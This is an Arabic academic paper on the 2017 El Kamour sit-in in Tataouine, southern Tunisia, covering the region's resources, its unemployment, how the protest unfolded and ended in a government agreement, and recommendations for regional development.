أخبار عاجلة

اعتصام الكامور بالجنوب التونسي ، مراحل الازمة واسبابها

 

ورقة من اعداد :    د. رياض بشير

دكتور في الاقتصاد ، باحث بمعهد المناطق القاحلة بمدنين (تونس) ، ناشط في المجتمع المدني  ، رئيس جمعية التنمية والدراسات الاستراتيجية بمدنين، مدون وكاتب.  الايمايل :   riadh113med@yahoo.fr

 

ملخص :

شهدت ولاية تطاوين الواقعة بالجنوب التونسي على مدى عدة أشهر أحد أكبر الاحتجاجات والتحركات الشعبية التي عرفتها تونس اثر الثورة. هذه الولاية تتميز بموادها الطبيعية الهامة مثل البترول والغاز والجبس ولكن في المقابل يوجد بها أكبر نسبة من العاطلين عن العمل بالجمهورية التونسية. تطاوين تعتبر في تونس مركزا للتناقضات والاستثناءات فهي اكبر الولايات ، اغنى الولايات من حيث الموارد ولكن افقرها. خلال النصف الاول من سنة 2017 شهدت الولاية واحد من اشهر الاعتصامات التي مرت على البلاد التونسية وهو اعتصام الكامور. هذا البحث يوثق اسباب هذا التحرك مراحله وكيفية حصول تجاوب محلي مع الحلول المقترحة.

الكلمات المفاتيح: الكامور، تطاوين، البطالة، اعتصام.

 

 

 

 

 

 

 

 

 

مقدمة :

تعتبر التنمية المتوازنة وايجاد مواطن شغل من اهم التحديات التي تواجهها تونس اليوم، ولتحقيق ذلك يستوجب القطع مع الحكم العمودي والمسقط الى الحوكمة الرشيدة النابعة من مقاربة تشاركية تجمع جميع الاطراف المتداخلة. في ولاية تطاوين بأقصى الجنوب التونسي ورغم الموارد التي تتميز بها المنطقة فان نسبة البطالة التي توجد بها تعتبر الاعلى في الجمهورية التونسية. هذا الامر تسبب في تنامي غضب شباب المنطقة ووصل الى حد تنظيم احتجاجات واعتصامات لم يسبق ان عرفتها تونس وكان اشهرها اعتصام الكامور. في هذا البحث سنشخص اسباب هذا الاعتصام، مراحله ونتائجه القصيرة والطويلة المدى.

 

الباب الاول : أهم مميزات المنطقة

1.تقديم الولاية :

تقع ولاية تطاوين في عمق الجنوب الشرقي من البلاد التونسية تحدّها من الشرق ومن الشمال ولايتي مدنين وقبلي ومن الغرب الجزائر ومن الجنوب ليبيا. وتقدر مساحة الولاية بـ 3.888.900 هك وهو ما يمثّل حوالـي 43 % من مساحة اقليم الجنوب   و 25 % من المساحة الجملية للبلاد موزعة  كما يلي :

  • أراضي فلاحية: 1,7 مليون هك (44%)
  • أراضي غير فلاحية: 2,2مليون هك (56%)

لكن تجدر الاشارة الى ان معظم مساحة الولاية هي اراضي صحراوية ومنطقة عسكرية مغلقة. و تضمّ الولاية إداريا 7 معتمديات و64 عمادة منها 20 عمادة بلدية ، أمّا البلديات فعددهـا 06 في حين يبلغ عدد المجالس القروية 4 مجالس.

اما على المستوى الديمغرافي وحسب نتائج التعداد العام للسكان لسنة 2014 تعدّ الولاية 149453 نسمة مقابل 143524 نسمة سنة 2004 و135703 نسمة سنة 1994. وتقدّر النسبة السنوية للنمو الديمغرافي للفترة 2004-2014 بـ0.41 % مقابل 1.03% على المستوى الوطني، بينما كانت 0.56% على المستوى الجهوي مقابل 1.21% على المستوى الوطني خلال الفترة 1994-2004. ويبلغ عدد السكان الذين لهم مستوى تعليم عالي 12018 ساكن و43155 ساكن لهم مستوى تعليم ثانوي، كما بلغت نسبة البطالة على المستوى الجهوي 25.78% و 34.3% لدى أصحاب الشهائد العليا. أمّا عدد الأميين فقد بلغ 22342 أمّي أي  بنسبة أمّية  بلغت 18.2% سنة 2014. وتمثّل الفئة العمرية اقل من 35 سنة نسبة 61% وهو ما يشير الى أنّ سكان ولاية تطاوين اغلبهم من الشباب. أما فئة الشيوخ (60 سنة فما فوق) يبلغ عددهم 17949 وتمثّل 12%.  كما تتميّز ولاية تطاوين بوجود عدد هام من أبنائها بالخارج والذي يبلغ عددهم حوالي 30 ألف مهاجر وتعتبر مدينة تطاوين ومعتمديتي غمراسن والبئر الاحمر من أهم المناطق ذات الكثافة المهجرية.

كما توفّر هذه الجالية عائدات مالية هامة حيث تقدّر قيمة التحويلات البريدية السنوية خلال الفترة 2010-2014 حوالي 11 مليون دينار وهي تمثل 20 %من العائدات الجملية للمهاجرين، وقد ساهمت هذه الموارد المالية في مسيرة التنمية بالجهة وخاصة في السكن والتجهيزات المنزلية وأيضا في التجارة والخدمات…. في ما تبقى هذه المساهمة محدودة في الاستثمار في القطاعات المنتجة.

 

2 . أهـمّ الموارد و الثروات الطبيعية الفلاحية بالجهة:

تزخر ولاية تطاوين بالعديد من الموارد الطبيعية الهامة التي تخصّ القطاع الفلاحي (مياه وتربة…) أو تلك التي تهمّ المواد الإنشائية والأملاح الطبيعية والحقول النفطية إضافة إلى التضاريس و المناظر الطبيعية.

– الموارد الطبيعية الفلاحية:

* الموارد المائية:  تقدر الموارد المائية بولاية تطاوين بحوالي 92.54 مليون متر3 متأتية من مياه السيلان بـ 27 مليون متر3 يتمّ استغلال 8.5 مليون متر3  سنويا أي ما يمثل 31%، و مائدة سطحية تقدّر بـ 15.14 مليون متر3  وتبلغ الكمية المستغلة من هذه المائدة 13.09 مليون متر3 أي بنسبة استغلال تقدر بـ 86.45% ، وأخرى عميقة يبلغ حجم الموارد بها 50.4 مليون وتبلغ الكمية المستغلة 22.8 مليون متر3 أي بنسبة استغلال تقدر بـ 45.2%.

* الأراضي الصالحة للفلاحة: تقدّر مساحة الأراضي الفلاحية بـ 1.7 مليون هك موزعة كما يلي:

* المراعي: وتمتد على مساحة 1.5 مليون هك وتتواجد اساسا بمنطقتي الوعرة والظاهر تستغل حاليا في الرعي حسب النمط الانتشاري .

* اراضي صالحة للزراعة: تقدّر مساحتها 200 الف هك ويستغل منها حاليا حوالي 3340 هك في شكل مناطق سقوية عمومية و 3650 هك من المستغلات السقوية الخاصة.

 

– الثروات النفطيـة:

تؤمن ولاية تطاوين القسط الأكبر من الإنتاج الوطني للبترول وذلك من حقول البرمة والحقول الحديثة مثل زار وجنين والمخروقة والعريش والوعرة…  أمّا حقول الغاز فهي الأخرى جدّ واعدة وقد أعدّت الدراسة الفنية لهذا المخزون المعروف بغاز الجنوب وتأمل الجهة الكثير من انجاز هذا المشروع والذي ينقسم الى قسمين:

  • القسم الأول يشتمل على وحدة وحدة للمعالجة الاولية بحقل نوارة بطاقة معالجة 2.7 مليون متر مكعب في اليوم ومد خط أنابيب بسعة 24 بوصة على طول 370 كلم من نوارة الى ولاية قابس بطاقة 2.7 مليون متر مكعب في اليوم.
  • القسم الثاني: يتمثّل في خط تصدير غاز بسعة 12 بوصة على طول 70 كلم من النقطة الكيلومترية 243 الى مدينة تطاوين (2 مليون متر مكعب في اليوم) وتركيز وحدة للمعالجة النهائية بتطاوين بطاقة 600 ألف متر مكعب في اليوم ووحدة لتعبئة قوارير الغازGPL.

كما يمكن الاشارة الى المجالات الواعدة للطاقة البديلة والمتجددة (288 يوم مشمس بالكامل في السنة) حيث تعتبر الجهة ذات أولوية مطلقة في كل ما يتعلق بالطاقة الشمسية.

 – المـواد الإنشائية: توجد بولاية تطاوين عديد المواد الانشائية مثل :

  • الجبس: يتوفر بجهة مستاوة ووادي الغار بكميات هامة ونوعية جيدة ويحتوي منجم مستاوة من الجبس على مدخرات هامة تمتد على طول 50 كلم وعرض 10 كلم وقدّرت هذه المدخرات بحوالي 65 مليار طن وأظهرت التحاليل أنّ مادة الجبس صافية وعالية الجودة تمكّن من بعث قطب صناعي حول هذه المادة.
  • الرخام أو الحجر الرخامي: تتواجد هذه المادة بأغلب معتمديات الولاية وأهم تلك المواقع هي قصر المرابطين ووادي الخيل والمزار وبني احمد والرهاش والدويرات وسهل الرمان …
  • الطين: متوفر في عدة مناطق مثل كرشاو وبني مهيرة وقصور الجليدات وكامل المنطقة الجبلية وخصوصا الدويرات وشنني وذهيبة.
  • الحجارة الصلبة (Dolomies): وهي من البروزات الكلسية غير الرخامية والتي تصنّف من الحجارة الصلبة وتتواجد بكميات كبيرة ونوعية جيدة بمناطق الرهاش وتلالت وكرشاو والدويرات .
  • الرّمـال: تحتوي الجهة على مدّخرات هائلة من الرمال تتميز بنوعية جيدة تصل نسبة السيليس بها الى 98% وأكثر من 99% بعد المعالجة الصناعية ممّا يمكّن من استعمال هذه الرّمال في انتاج معدّات السيليسوم الاستراتيجي والمستعمل في الصناعات الالكترونية وصناعة خلايا اللاقطات الشمسية.
  • الأمـلاح الطبيعيـة: متوفرة أساسا بسبخة أم الخيالات من معتمدية الصمار بكميات هامة و جودة عالية إذ تبلغ نسبة نقاوتها 99.95 % مما يمكّن من استغلالها في مجالات صناعة مواد التنظيف وصناعة البلور وصناعة الورق وصناعة الأقمشة بالإضافة إلى استغلالها في عمليات حفر الآبار بمختلف أنواعها.

 – المخزون الثقافي و الحضاري و المناظر الطبيعية 

تتميز ولاية تطاوين بمخزون تراثي هام  ومعالم أثرية متعددة وفضاءات طبيعية متنوعة على غرار القصور الصحراوية والجبلية. كما تغطي كثبان الرمال الصحراوية اغلب مساحة الولاية، أما القرى الجبلية فهي تمثل انماطا من الهندسة المعمارية الفريدة من نوعها  وهو ما جعلها قبلة للزوار والسياح بالإضافة الى الواحات والمحميات. كما توجد عدة مواقع تاريخية وجيولوجية يمكن توظيفها سياحيا من كهوف وصخور مرجانية وبقايا متحجرات للديناصورات.

 

  1. 3. البنية الأساسية والتجهيزات الجماعية المتوفّرة:

تتوفّر بالجهة شبكة من الطرقات المرقمة تمدّ على طول 2345 كلم منها 843 كلم معبدة وشبكة من الاتصالات تعتبر حسنة حيث بلغت نسبة التغطية الجهوية للهاتف القار 34% من العائلات و 40 % نسبة ربط الأسر بشبكة الانترنات إلى جانب 37 مكتب بريد ، بالإضافة الى نسبة تنوير عامّة  تصل 99.4%  ونسبة عامة للتزوّد بالماء بلغت 98%. كما تتوفر بالجهة عديد المرافق العمومية المتنوعة منها 110 مدرسة أساسية و 39 بين مدارس اعدادية ومعاهد ثانوية ومؤسستين جامعيتين و17 مركز للتكوين المهني منها 14 مركزا للتكون المهني الخاص، بالإضافة إلى مستشفى جهوي و2 مستشفيات محلية و65 مركزا للصحة الأساسية موزعين على كامل الولاية وعديد المنشآت الثقافية والشبابية والرياضية: 6 دور شباب و5 ملاعب معشبة و14 مكتبة عمومية و6 دور ثقافة.

الباب الثاني : تشخيص الوضع التنموي على المستوى الكمي والمادي

شهدت ولاية تطاوين خلال المرحلة الانتقالية (2010-2015) إقرار العديد من المشاريع التنموية وذلك قصد إلحاق الجهة ببقية الولايات خاصة وأنها تتواجد بأقصى الجنوب الشرقي وتعيش عزلة جغرافية أدّت إلى عزلة اقتصادية. ولئن كانت كلفة المشاريع التي وقع إقرارها تناهز 351.2 مليون دينار تخصّ 441 مشروعا إلا أن نسبة الانجاز لم تتعدّى 61% مكّنت من انجاز 235 مشروعا هذا بالإضافة إلى غياب التناسق الكلي بين المشاريع المقررة نظرا لغياب استراتيجية تنموية شاملة وواضحة المعالم تنخرط فيها جميع القطاعات وهو ما انعكس على معظم المؤشرات التنموية التي راوحت مكانها خلال الفترة الانتقالية:

أمّا على مستوى السكان فقد بلغ عدد السكان 149453 ساكن (سنة 2014) مقابل 143524 ساكن سنة 2004 اي بمعدل نمو يقدر بـ 0.41 بالمائة مقابل 1.03 بالمائة على المستوى الوطني ويعود ضعف نسبة النمو إلى ظاهرة الهجرة سواء في اتجاه الولايات الأكثر نموا سواء إلى الخارج. من ناحية ثانية فقد بلغ عدد السكان المقيمين بالوسط الحضري 95424 ساكن أي بنسبة 63.9 % بعد ان كان 61 % سنة 2004 ويعود ذلك الى ضعف جاذبية الريف وغياب فرص التشغيل بالفضاء وافتقاره للعديد من مكونات البنية الأساسية والتجهيزات الجماعية الضرورية حيث يتجمّع معظم السكان ببلدية تطاوين التي بلغت بها نسبة النمو الديمغرافي بالوسط الحضري 1.26% و تضمّ أكثر من 67 ألف ساكن وذلك بسبب تمركز الخدمات بمقر الولاية. كما يتميز الوضع الاجتماعي العام بالجهة بالاحتقان والهشاشة حيث يشهد عديد النقائص في كل المجالات:

  • تفشي ظاهرة الفقر حيث بلغت النسبة 18.2 % كما أنّ عدد المنتفعين بمنحة المعوزين لم يتجاوز 5334 منتفع سنة 2015 برغم تزايد طلبات الحصول على المنح القارة والعلاج المجاني والإعانات الظرفية.
  • ارتفاع نسبة الاعاقة بالجهة حيث بلغ عدد المعاقين 4800 وغياب برامج خصوصية لإدماج هذه الفئة.
  • نسبة أمّية بلغت 18.2%.

اعتمادا على مؤشر التنمية المحلية(لمعطيات اكثر حول طريقة احتساب المؤشر الرجاء الاتصال بالمؤلف) يمكن لنا تقسيم معتمديات الجنوب الشرقي الى ثلاثة مناطق مختلفة فيما بينها حسب مستوى التنمية حيث نجد المعتمديات الأكثر تنمية (مؤشر التنمية المحلية<  0.5) والمعتمديات ذات تنمية متوسطة (0.5 <مؤشر التنمية المحلية<  0.3) والمعتمديات الأقل تنمية (0.3<مؤشر التنمية المحلية).  في ولاية تطاوين نجد فقط المعتمديات ذات التنمية المتوسطة و المعتمديات الأقل تنمية.

 

 

الباب الثالث : اعتصام الكامور، اسبابه ومراحله

هذا التحرك الذي يعرف باعتصام الكامور والذي شهدته الولاية انطلق ببلدة صغيرة احتجاجا على تقسيم بلدي جديد ليصبح اعتصاما جهويا للمطالبة بالتشغيل في الشركات البترولية وبحق الولاية في نسبة من ثرواتها الطبيعية. هذه التحركات الاحتجاجية شدت اليها اهتمام كل الشعب وتلفت اليها الراي العام الدولي بل وتحرجت منها الحكومة واربكتها وكشفت عدم قدرة بعض المسؤولين على مستوى جهوي ومركزي على التدخل في الوقت المناسب للتأقلم مع المطالب المتمثلة بصفة أساسا في توفير مواطن شغل قارة والمساواة بينهم وبين بقية شباب البلاد وخاصة وإن منطقتهم تحتوي على ثروات طبيعية تمتاز بها عن غيرها من المناطق ، والتمتع بنصيب معتبر لتشغيل ابناء الجهة في الشركات البترولية والخدمية والتي تعد قرابة المائة شركة ، وتخصيص نسبة من عائدات البترول لتنمية الجهة.

تتمثل الأسباب الرئيسية وراء تأجج الأوضاع بالجنوب التونسي واعتصام عدد من الشباب في منطقة تسمى  الكامور في مطالبة شباب المنطقة بحقهم في التشغيل ، هذا إلى جانب المصاعب اليومية التي يعيشونها من ضعف للبنية التحتية وقلة الادارات والمنشأت العمومية وصعوبة المحيط الطبيعي الصحراوي. كما تطورت فيما بعد المطالب لتشمل الدعوة لتنمية المنطقة من خلال فرض مبدأ المساهمة في التنمية على المؤسسات النفطية في المنطقة حيث أن المنطقة تعاني من نقص في العناية بالرغم من أهميتها الاقتصادية وخاصة في مجال الطاقة.من جهة أخرى دعا مجموعة من النشطاء خاصة منهم المتسيسين المساندين للتحركات بالجنوب لنشر ما يعتبرونه «الأرقام الحقيقية» لهذه الثروات في البلاد التونسية. ولكن يبدو أن تلك المطالب أكبر من السلطة السياسية لان مسألة الثروات النفطية مسألة حساسة في تونس و يوجد فيه خطّ أحمر لا ينبغي تجاوزه، حتى وإن أكد الدستور على غير ذلك.

كان انطلاق الاحداث بالولاية بمنطقة قصر اولاد دباب، ثم انتقلت الى مدينة تطاوين قبل ان تنتشر الاعتصامات بكل معتمديات الولاية، لكن بداية من 23 أفريل  والى غاية 16 جوان 2017 دخل عدد من شباب تطاوين في اعتصام مفتوح في مدخل الصحراء بمنطقة الكامور على بعد 170 كيلومتر عن مدينة تطاوين، معطلين بذلك عبور الشاحنات والسيارات إلى حقول النفط إلى حين الاستجابة لمطالبهم. وسمي اعتصام الكامور  وتعود تسمية الإعتصام نسبة للمسلك الفرعي الكامور، الذي تعتمده شركات التنقيب على البترول لتزويد المحطات ونقل البترول نحو ميناء جرجيس . ويتضمن اعتصام الكامور قرابة 100 خيمة كل واحدة تحمل اسم حي أو معتمدية من تطاوين مع العلم ان عددا من هذه الخيام كانت موجودة داخل مدينة تطاوين وتقرّر نقلها الى الكامور بعد عدم تجاوب الحكومة مع المطالب. هذه الخيام هي بمثابة التمثيلية لكل جزء من تطاوين أي أنها تشبه مجلسا نيابيا مع الفرق أن المجالس النيابية تؤسس على تمثيلية حزبية وهذا المجلس يتأسس على تمثيلية مناطق و قبائل”عروش” رافعين شعار ” الرخ لا”… حيث ان في كل خيمة يوجد بين 10 و7 أفراد يتداولون على الحضور. واثر تصاعد الاحتجاجات ومحاولة بعض الأحزاب تسييس التحرك، زار المنطقة عدد كبير من المسؤولين بل ان رئيس الحكومة يوسف الشاهد أدى بنفسه يوم 27 أفريل 2017 زيارة إلى ولاية تطاوين، تزامنت مع إقرار إضراب عام بالولاية، أعلن خلالها عن 64 قرارا تخص التنمية والتشغيل في الجهة شملت مختلف القطاعات التنموية، غير أنه غادر الولاية قبل اتمام برنامج زيارته على إثر الاحتجاجات على حزمة القرارات التي أعلنها والتي لم ترضي شباب المنطقة، مثلها مثل قرارت المجلس الوزاري المخصص للجهة والذي سبق انعقاده بتاريخ 10 افريل 2017 .

وفي يوم 22 ماي 2017 عاشت مدينة تطاوين ثم عدد من المدن المجاورة حالات من الاحتقان شملت عمليات كر وفر بين المحتجين وقوات الحرس الوطني وتم فض الاعتصام بالقوة وحرق خيام المعتصمين بالكامور من قبل الامن وانتهت الاحداث بمقتل شاب واصابات العديد من المشاركين في التحركات الاحتجاجية. كما تم احراق العديد من المنشأت الامنية كإقليم الأمن الوطني بتطاوين  كما تم حرق 13 سيارة تابعة لمنطقة الأمن الوطني بتطاوين وسيارتين مدنيتين تابعة لأعوان الأمن، وحرق 9 سيارات تابعة للحرس الوطني، إثر ذلك وكرد فعل منهم هاجم المعتصمون بالكامور محطة ضخ البترول وتم غلق الحنفية. كما صعد  المحتجين في الكامور من تحركاتهم وحاولوا دخول المنشأة البترولية بالقوة واستعملوا شاحنات لاجتياز الحاجز قبل أن تتصدى لهم الوحدات الأمنية والعسكرية. ثم عمدوا في مرحلة ثانية إلى اعطاب أحد الأنابيب الموصولة بالمضخة البترولية، مما دفع بالشركة لغلقها اجتنابا لأية أضرار ممكنة.  وازاء هذا الفشل الحكومي في التعامل مع المحتجين وقرار قوات الامن في الجهة – عبر نقاباتهم – عدم التدخل لفض هذه الاحتجاجات، استدعى الرئيس التونسي الجيش ليحمي مناطق الانتاج. وبعد حوارات متعددة من طرف وزير التشغيل ووساطات مختلفة وقع محتجو الكامور في يوم 16 جوان 2017 اتفاقا مع الحكومة التونسية لإنهاء اعتصامهم الذي تواصل مدة أشهر والذي عطل إنتاج البترول في المنطقة، ويتضمن الاتفاق وعودا بالاستثمار في الولاية وبتشغيل الآلاف من أهالي المنطقة في الأعوام المقبلة في مؤسسات حكومية.وتم التوصل إلى هذا الاتفاق بفضل “وساطة” من الأمين العام للاتحاد العام التونسي للشغل. هذه النتيجة تؤكد ان الحوار هو السبيل الوحيد لإيجاد حل للازمات فالحكومة أخطأت في توقيت التدخل واخطأت مجددا واستعملت القوة لكن لم تؤدي الى نتيجة بل عمقت الازمة

الباب الرابع : نتائج اعتصام الكامور وافاق التنمية بالجهة

نص الاتفاق على فظ الاعتصام عدة مكتسبات بالنسبة لمنطقة تطاوين، منها فتح طريق الكامور وإعادة الانتاج  وانتداب 1500 شخص بالشركات البترولية على مراحل كما تم إقرار منحة بحث عن العمل 500 دينار تصرف للمنتدبين في الشركات البترولية ابتداء من شهر سبتمبر 2017 إلى حين الالتحاق بالعمل وتصرف من صندوق التنمية الذي تم إقرار ميزانيته بـ 80 مليون دينار اضافة الى إلحاق 370 عاملا بالشركات البترولية مباشرة بشركة البيئة عند انتهاء عقودهم المؤقتة كما تم الاتفاق على انتداب 1500 بشركة البيئة في جوان 2017 و انتداب 1000 شخص في جانفي 2018 و 500 شخص في جانفي 2019 اضافة الى الالتزام بعدم تتبع المعتصمين عدليا. احداث الكامور اكدت وجود خلل هيكلي في العلاقة بين الدولة المركزية و الولايات الداخلية. وهو أمر واضح ليس فقط بنسبة بطالة مرتفعة لكن أيضا بغياب الدولة، غياب فروع مؤسسات عمومية أساسية، فولاية طاقية مثل تطاوين لا يوجد فيها تمثيلية للمؤسسات العمومية المعنية للطاقة والبيئة. كذلك تغيير صبغة ارض من فلاحية إلى تجارية و صناعية يستوجب التنقل لمئات الكيلومترات نحو العاصمة اكثر من مرة.

نظرا للضعف التنموي الكبير الذي تعيشه منطقة تطاوين مقارنة بمواردها، فإن المخططات المقبلة للتنمية يجب أن تلبي انتظارات مختلف شرائح متساكني الولاية، و لتحقيق ذلك يجب على الدولة دعم الادارات الجهوية المهتمة بالتخطيط واعداد الدراسات الاستشرافية، مع مدّ قنوات للتشاور والحوار المستمر طيلة مراحل إعداد المخططات بين المستويين الجهوي والوطني لضمان المساهمة الفاعلة والمكثفة للكفاءات الجهوية وتشريك كل الطاقات والهياكل ومختلف مكونات المجتمع المدني وإعطاء البعد الديمقراطي التشاركي للتنمية الجهوية. كما يجب تمكين الجهة من الأدوات والوسائل اللازمة مما يمكنها من إدراج برامجها و تنفيد مشاريعها الجهوية والمحلية بكل دقة. فالتوجه الجديد للتنمية الجهوية التي تفرضها المرحلة الحالية في تونس لا بد أن يعتمد بالأساس على نظرة شمولية متكاملة للسياسات والمشاريع التي لا تنحصر في حدود الولاية فحسب بل تتعداها إلى لتشمل منطقة الجنوب الشرقي بأكملها ذات الإشكاليات المتشابهة.

لتحقيق تنمية عادلة ومتوازنة بتطاوين يجب ﻀﺒﻁ ﺍﻟﺘﻭﺠﻬﺎﺕ ﻭﺍﻟﺴﻴﺎﺴﺎﺕ ﺍﻟﻜﻔﻴﻠﺔ للرفع ﻤﻥ ﻨﺴﻕ ﺇﺤﺩﺍﺜﺎﺕ ﺍﻟﺸﻐل خاصة بالمعتمديات الاقل تنمية وملائمتها ﻤﻊ ﺍﻟﺘﺤﻭﻻﺕ ﺍﻟﻬﻴﻜﻠﻴﺔ ﺍﻟﺘﻲ ﺘﺸﻬﺩﻫﺎ ﺴﻭﻕ ﺍﻟﺸﻐل ﻭﺘﻁﻭﻴﺭ ﻤﻨﻬﺠﻴﺔ ﺍﻟﻌﻤل ﺍﻟﺠﻬﻭﻱ ﻭﻭﺴﺎﺌﻠﻪ للارتقاء ﺒﺎﻟﺠﻬﺔ ﺇﻟﻰ ﻗﻁﺏ ﺘﻨﻤﻭﻱ ﻨﺸﻴﻁ. ﻜﻤﺎ يجب ﺘﺤﺴﻴﻥ ﻤﻨﺎﺥ الاستثمار ﻭﺍﻟﺭﻓﻊ ﻤﻥ ﻨﺴﻕ ﺇﺤﺩﺍﺙ ﺍﻟﻤﺅﺴﺴﺎﺕ ﺨﺎﺼﺔ ﻓﻲ ﺍﻷﻨﺸﻁﺔ ﺍﻟﻤتجددة ﻭﺨﻠﻕ ﻗﺎﻋﺩﺓ ﺍﻗﺘﺼﺎﺩﻴﺔ ﻤﺘﻨﻭﻋﺔ ﻓﻀﻼ ﻋﻥ ﻤﻭﺍﺼﻠﺔ ﺍﻟﺠﻬﻭﺩ ﻟﻠﺭﻓﻊ ﻤﻥ ﻤﺴﺘﻭﻯ عيش المتساكنين والارتقاء ﺒﻨﻭﻋﻴﺔ ﺍﻟﺤﻴﺎﺓ ﻭﺠﻭﺩﺘﻬﺎ ﺒﺎﻟﻤﺩﻥ ﻭﺍﻷﺭﻴﺎﻑ ﻭﻤﻘﺎﻭﻤﺔ ﻤﻅﺎﻫﺭ ﺍﻟﺘﺼﺤﺭ ﻭﺍﻻﺴﺘﻐﻼل ﺍﻟﻤﻜﺜﻑ ﻭﺍﻟﻌﺸﻭﺍﺌﻲ ﻟﻠﻤﻭﺍﺭﺩ ﺍﻟﻁﺒﻴﻌﻴﺔ ﻟﺘﺄﻤﻴﻥ ﺍﻟﻤﺤﺎﻓﻅﺔ ﻋﻠﻰ ﺍﻟﺒﻴﺌﺔ ﻭﺍﻟﻤﺤﻴﻁ ﻭﺘﺭﺴﻴﺦ ﻤﻘﻭﻤﺎﺕ ﺍﻟﺘﻨﻤﻴﺔ ﺍﻟﻤﺴﺘﺩﻴﻤﺔ. ولتحقيق ذلك يجب القيام بتقييم موضوعي للسياسات التنموية السابقة مع التركيز على كيفية ايجاد حلول للنقائص. كما يجب اعتماد سياسة تنموية مستقبلية تعتمد على “البرامج القائمة على النتائج” بدل “البرامج القائمة على الاهداف” التي كانت مستعملة سابقا، مع ضرورة تعزيز الحكم الرشيد في ادارة المشاريع، كما يجب العمل على :

  • تحديد منوال تنموي محلي تراعى فيه خصوصيات الجهة الطبيعية والاقتصادية والاجتماعية.
  • التطبيق الفعلي لمفهوم اللامركزية وتمكينها من الأدوات والآليات التنفيذية اللازمة.
  • ﺘﺸﺠﻴﻊ ﺃﺼﺤﺎﺏ ﺍﻟﺸﻬﺎﺌﺩ ﺍﻟﻌﻠﻴﺎ ﻟﻠﺘﻤﺭﻜﺯ ﺒﺎﻟجهة ﻭﻻﺴﻴﻤﺎ ﻤﻨﻬﻡ ﺃﻁﺒﺎﺀ ﺍﻻﺨﺘﺼﺎﺹ ﻭﺍﻟﻤﺼﺤﺎﺕ ﺍﻟﺨﺎﺼﺔ ﻭﻤﺨﺘﻠﻑ ﺃﺼﻨﺎﻑ ﻤﺴﺩﻱ ﺍﻟﺨﺩﻤﺎﺕ ﺍﻟﺼﺤﻴﺔ ﻭﺍﻟﻤﻬﻥ ﺍﻟﻘﺎﻨﻭﻨﻴﺔ ﻭﻤﻜﺎﺘﺏ ﺍﻟﺩﺭﺍﺴﺎﺕ ﻭﺍﻟﻤﺴﺘﺸﺎﺭﻴﻥ ﻓﻲ ﻤﺠﺎﻻﺕ ﺍﻟﺠﺒﺎﻴﺔ ﻭﺍﻟﻤﺎﻟﻴﺔ ﻭﺍﻟﻬﻨﺩﺴﺔ ﺍﻟﺼﻨﺎﻋﻴﺔ ﻭﺍﻟﻤﺤﺎﺴﺒﺔ ﻟﺘﻨﻭﻴﻊ ﺍﻟﻨﺴﻴﺞ الاﻗﺘﺼﺎﺩﻱ ﻭﺘﻭﻓﻴﺭ ﺍﻟﺨﺩﻤﺎﺕ ﻓﻲ ﻤﺨﺘﻠﻑ ﺍﻟﻤﻴﺎﺩﻴﻥ.
  • تعزيز القدرة التنافسية وتحسينها بما يؤهل الجهة بان تكون موقع مستقطب لتمركز الأنشطة ذات القيمة المضافة العاليـة ويشجع على تثمين ميزاتها التفاضلية. ويستوجب ذلك تعزيز شبكة الطرقات وتـأمين الربط بين مختلف المناطق ومواقع الإنتاج و إيلاء العناية اللازمة للبنية الأساسية وتأهيل منظومة النقل وتعزيزها وتهيئة المناطق الصناعية وتوفير فضاءات الانتصاب وتطوير الخدمات الاتصالية.
  • تهذيب ﺍﻟﻤﺴﺎﻟﻙ ﺍﻟﺴﻴﺎﺤﻴﺔ ﺍﻟﺼﺤﺭﺍﻭﻴﺔ ﻭﺍﻟﺠﺒﻠﻴﺔ ﻟﺘﺜﻤﻴﻥ ﺍﻟﻤﻭﺍﻗﻊ ﻭﺍﻟﻤﻌﺎﻟﻡ ﺍﻷﺜﺭﻴﺔ ﻭﺍﻟﺒﻴﺌﻴﺔ ﻟﺘﻨﻭﻴﻊ ﺍﻟﻤﻨﺘﻭﺝ ﺍﻟﺴﻴﺎﺤﻲ و ﺘﻨﻤﻴﺔ ﺍﻟﺼﻨﺎﻋﺎﺕ ﺍﻟﺘﻘﻠﻴﺩﻴﺔ ﺒﺘﻁﻭﻴﺭ ﺍﻷﻨﺸﻁﺔ ﺍﻟﺤﺭﻓﻴﺔ ﻭﺍﻟﻤﻨﺘﻭﺠﺎﺕ ﺍﻟﺘﻘﻠﻴﺩﻴﺔ ﺤﺴﺏ ﺨﺼﻭﺼﻴﺎﺕ ﻜل معتمدية ﻤﻊ ﺍﻟﻌﻤل ﻋﻠﻰ ﺇﺤﻴﺎﺀ ﺍﻟﺤﺭﻑ ﺍﻟﻤﻬﺩﺩﺓ ﺒﺎﻻﻨﺩﺜﺎﺭ ﻭﺤﺴﻥ ﺘﻭﻅﻴﻑ ﺍﻟﻤﻭﺭﻭﺙ ﺍﻟﺤﻀﺎﺭﻱ ﺍﻟﺫﻱ ﺘﺯﺨﺭ ﺒﻪ الجهة.
  • ﺘﺩﻋﻴﻡ ﻤﺴﺎﻫﻤﺔ ﺍﻟﻤﺠﺘﻤﻊ ﺍﻟﻤﺩﻨﻲ في متابعة تنفيذ المشاريع والبرامج المخصصة للجهة وذلك باعتبار قربه من المواطن مع العمل على تنظيم منابر حوار بصفة دورية وذلك بين الفاعليين الاقتصاديين بالجهة ومختلف أطياف المجتمع المدني.
  • التعمق في جدوى المشاريع واعتبار الانجاز المادي للمشاريع كمؤشر لنجاحها أو فشلها وليس نسب تقدم صرف الميزانية المبرمجة.
  • لتفادي التعطيل الملاحظ في انجاز بعض المشاريع، العمل مستقبلا على إدراج قيمة الأرض والتعويضات اللازمة لانجاز المشروع ضمن ميزانيته المبرمجة وكذلك تمكين خلايا انجاز المشاريع من الحاجيات المادية والبشرية اللازمة.
  • العمل على دعم القطاع الفلاحي من خلال:
  • العناية بشجرة الزيتون والرفع من مردوديتها خاصة خلال فترات الجفاف،
  • العمل على وفرة الأعلاف التكميلية من شعير وسداري ومراجعة أسعارها،
  • إعادة النظر في التشغيل عن طريق الحضائر في القطاع الفلاحي والذي تبين وانه منعدم المردودية وعالة على ميزانية الدولة،
  • العناية بالمسالك الفلاحية بصفة دورية وايجاد اعتمادات خاصة لهذا الباب سنويا،
